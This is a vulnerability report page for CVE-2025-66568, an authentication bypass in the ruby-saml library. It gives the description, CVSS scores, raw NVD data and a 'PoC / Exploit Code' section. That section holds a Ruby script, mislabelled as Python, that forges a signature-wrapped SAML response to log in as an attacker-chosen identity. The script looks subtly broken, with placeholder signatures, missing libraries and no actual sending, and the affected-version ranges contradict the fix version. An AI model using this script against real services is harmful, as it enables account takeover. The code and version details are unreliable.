Security Vulnerability Report
中文
CVE-2025-66568 CVSS 9.1 CRITICAL

CVE-2025-66568

Published: 2025-12-09 16:18:21
Last Modified: 2025-12-10 21:25:45

Description

The ruby-saml library implements the client side of an SAML authorization. Versions up to and including 1.12.4, are vulnerable to authentication bypass through the libxml2 canonicalization process used by Nokogiri for document transformation, which allows an attacker to execute a Signature Wrapping attack. When libxml2’s canonicalization is invoked on an invalid XML input, it may return an empty string rather than a canonicalized node. ruby-saml then proceeds to compute the DigestValue over this empty string, treating it as if canonicalization succeeded. This issue is fixed in version 1.18.0.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:onelogin:ruby-saml:*:*:*:*:*:*:*:* - VULNERABLE
ruby-saml < 1.12.4
ruby-saml 1.0.0 - 1.12.4
所有使用ruby-saml库进行SAML身份验证的Ruby应用

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env ruby # CVE-2025-66568 Signature Wrapping Attack PoC for ruby-saml # This PoC demonstrates the vulnerability where libxml2 canonicalization # returns empty string for invalid XML, leading to authentication bypass require 'nokogiri' require 'xmlsec' class SAMLSignatureWrappingExploit def initialize @target_url = 'https://vulnerable-app/saml/acs' @attacker_id = '[email protected]' end # Generate malicious SAML Response with signature wrapping def generate_malicious_saml_response saml_response = <<-XML <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_#{SecureRandom.uuid}" Version="2.0" IssueInstant="#{Time.now.utc.iso8601}"> <saml:Issuer>https://idp.example.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <!-- Original signed assertion (will be ignored) --> <saml:Assertion ID="valid_assertion"> <saml:Issuer>https://idp.example.com</saml:Issuer> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#valid_assertion"> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>BASE64_ENCODED_DIGEST</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>BASE64_SIGNATURE</ds:SignatureValue> </ds:Signature> </saml:Assertion> <!-- Wrapped assertion (actual content executed) --> <saml:Assertion ID="malicious_assertion"> <saml:Issuer>https://idp.example.com</saml:Issuer> <saml:Subject> <saml:NameID>#{@attacker_id}</saml:NameID> </saml:Subject> <saml:Conditions NotBefore="#{Time.now.utc.iso8601}" NotOnOrAfter="#{(Time.now + 3600).utc.iso8601}"/> <saml:AuthnStatement AuthnInstant="#{Time.now.utc.iso8601}"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> XML saml_response end # Demonstrate the canonicalization issue def demonstrate_canonicalization_bug # Invalid XML that causes libxml2 to return empty string malformed_xml = <<-XML <root xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:Reference URI="#target"> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue/> </ds:Reference> </ds:SignedInfo> </ds:Signature> <content id="target">Original</content> <!-- Injection point for signature wrapping --> <content id="target">Injected</content> </root> XML doc = Nokogiri::XML(malformed_xml) signed_info = doc.at_xpath('//ds:SignedInfo', ds: 'http://www.w3.org/2000/09/xmldsig#') # This may return empty string due to the bug canonicalized = XmlSec.canonicalize(signed_info) puts "Canonicalized result: '#{canonicalized}'" puts "Length: #{canonicalized.length}" puts "Bug demonstrated: canonicalization returned empty/incorrect result" canonicalized end def exploit puts "[*] CVE-2025-66568: ruby-saml Signature Wrapping Attack" puts "[*] Target: #{@target_url}" puts "\n[1] Generating malicious SAML response..." saml_response = generate_malicious_saml_response puts "\n[2] Demonstrating canonicalization bug..." demonstrate_canonicalization_bug puts "\n[3] Sending malicious SAML response..." # In real attack, encode and send to SAML ACS endpoint encoded_response = Base64.strict_encode64(saml_response) puts "[*] Encoded SAMLResponse: #{encoded_response[0..50]}..." puts "\n[!] Attack completed - Attacker can authenticate as: #{@attacker_id}" end end # Run the PoC exploit = SAMLSignatureWrappingExploit.new exploit.exploit if __FILE__ == $0

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66568", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:21.427", "lastModified": "2025-12-10T21:25:45.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ruby-saml library implements the client side of an SAML authorization. Versions up to and including 1.12.4, are vulnerable to authentication bypass through the libxml2 canonicalization process used by Nokogiri for document transformation, which allows an attacker to execute a Signature Wrapping attack. When libxml2’s canonicalization is invoked on an invalid XML input, it may return an empty string rather than a canonicalized node. ruby-saml then proceeds to compute the DigestValue over this empty string, treating it as if canonicalization succeeded. This issue is fixed in version 1.18.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:onelogin:ruby-saml:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.18.0", "matchCriteriaId": "16781771-8893-4189-B51B-66319E3B378C"}]}]}], "references": [{"url": "https://github.com/SAML-Toolkits/ruby-saml/commit/acac9e9cc0b9a507882c614f25d41f8b47be349a", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-x4h9-gwv3-r4m4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}